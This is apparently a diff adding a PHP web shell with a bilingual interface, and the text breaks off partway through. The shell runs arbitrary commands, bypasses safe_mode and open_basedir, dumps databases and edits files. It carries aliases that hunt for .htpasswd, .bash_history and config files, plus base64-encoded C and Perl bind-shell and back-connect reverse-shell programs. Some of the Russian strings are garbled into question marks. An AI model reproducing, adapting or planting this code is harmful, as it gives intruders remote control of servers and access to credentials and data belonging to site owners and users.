+'ru_text41'=>'????????? ? ?????', +'ru_text42'=>'?????????????? ?????', +'ru_text43'=>'????????????? ????', +'ru_butt10'=>'?????????', +'ru_butt11'=>'?????????????', +'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!', +'ru_text45'=>'???? ????????', +'ru_text46'=>'???????? phpinfo()', +'ru_text47'=>'???????? ???????? php.ini', +'ru_text48'=>'???????? ????????? ??????', +'ru_text49'=>'???????? ??????? ? ???????', +'ru_text50'=>'?????????? ? ??????????', +'ru_text51'=>'?????????? ? ??????', +'ru_text52'=>'????? ??? ??????', +'ru_text53'=>'?????? ? ?????', +'ru_text54'=>'????? ?????? ? ??????', +'ru_butt12'=>'?????', +'ru_text55'=>'?????? ? ??????', +'ru_text56'=>'?????? ?? ???????', +'ru_text57'=>'???????/??????? ????/??????????', +'ru_text58'=>'???', +'ru_text59'=>'????', +'ru_text60'=>'??????????', +'ru_butt13'=>'???????/???????', +'ru_text61'=>'???? ??????', +'ru_text62'=>'?????????? ???????', +'ru_text63'=>'???? ??????', +'ru_text64'=>'?????????? ???????', +'ru_text65'=>'???????', +'ru_text66'=>'???????', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>'???????', +'ru_text69'=>'????????1', +'ru_text70'=>'????????2', +'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)", +'ru_text72'=>'????? ??? ??????', +'ru_text73'=>'?????? ? ?????', +'ru_text74'=>'?????? ? ??????', +'ru_text75'=>'* ????? ???????????? ?????????? ?????????', +'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find', +'ru_text77'=>'???????? ????????? ???? ??????', +'ru_text78'=>'?????????? ???????', +'ru_text79'=>'?????????? ???????', +'ru_text80'=>'???', +'ru_text81'=>'????', +'ru_text82'=>'???? ??????', +'ru_text83'=>'?????????? SQL ???????', +'ru_text84'=>'SQL ??????', +'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????', +/* --------------------------------------------------------------- */ +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Table', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text77'=>'Show database structure', +'eng_text78'=>'show tables', +'eng_text79'=>'show columns', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +); +/* +?????? ?????? +????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) +?? ?????? ???? ????????? ??? ???????? ???????. +*/ +$aliases=array( +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'show opened ports'=>'netstat -an | grep -i listen', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Wingdings color=gray>?</font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=Verdana size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); +$windows = 0; +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $windows = 1; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); + $r .= ($windows)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if($windows&&!$safe_mode) + { + $uname = ex("ver"); + if(empty($uname)) { $safe_mode = 1; } + } +else if($unix&&!$safe_mode) + { + $uname = ex("uname"); + if(empty($uname)) { $safe_mode = 1; } + } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function we($i) +{ +if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ???????? ? ???? '; } +else { $text = "[-] ERROR! Can't write in file "; } +echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function re($i) +{ +if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ????????? ???? '; } +else { $text = "[-] ERROR! Can't read file "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function ce($i) +{ +if($GLOBALS['language']=="ru"){ $text = "?? ??????? ??????? "; } +else { $text = "Can't create "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function perms($mode) +{ +if ($GLOBALS['windows']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\">"; + return $ret; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or we($fname); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} +function DirFiles($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (FALSE !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(!is_dir($dir."/".$file)) + { + if($types) + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if(@in_array($ext,@explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + function DirFilesWide($dir) + { + $files = Array(); + $dirs = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + { + $file = @strtoupper($file); + $dirs[$file] = '&lt;DIR&gt;'; + } + else + $files[$file] = @filesize($dir."/".$file); + } + } + @closedir($handle); + @ksort($dirs); + @ksort($files); + $files = @array_merge($dirs,$files); + } + return $files; + } + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + function DirPrintHTMLHeaders($dir) + { + $pockets = ''; + $handle = @opendir($dir) or die("Can't open directory $dir"); + echo " <ul style='margin-left: 0px; padding-left: 20px;'>\n"; + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + { + echo " <li><b>[ $file ]</b></li>\n"; + DirPrintHTMLHeaders($dir."/".$file); + } + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if(@in_array($ext,array('.htm','.html'))) + { + $header = '-=None=-'; + $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file); + for($a=0;$a<count($strings);$a++) + { + $pattern = '(<title>(.+)</title>)'; + if(@eregi($pattern,$strings[$a],$pockets)) + { + $header = "&laquo;".$pockets[2]."&raquo;"; + break; + } + } + echo " <li>".$header."</li>\n"; + } + } + } + } + echo " </ul>\n"; + @closedir($handle); + } + + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC 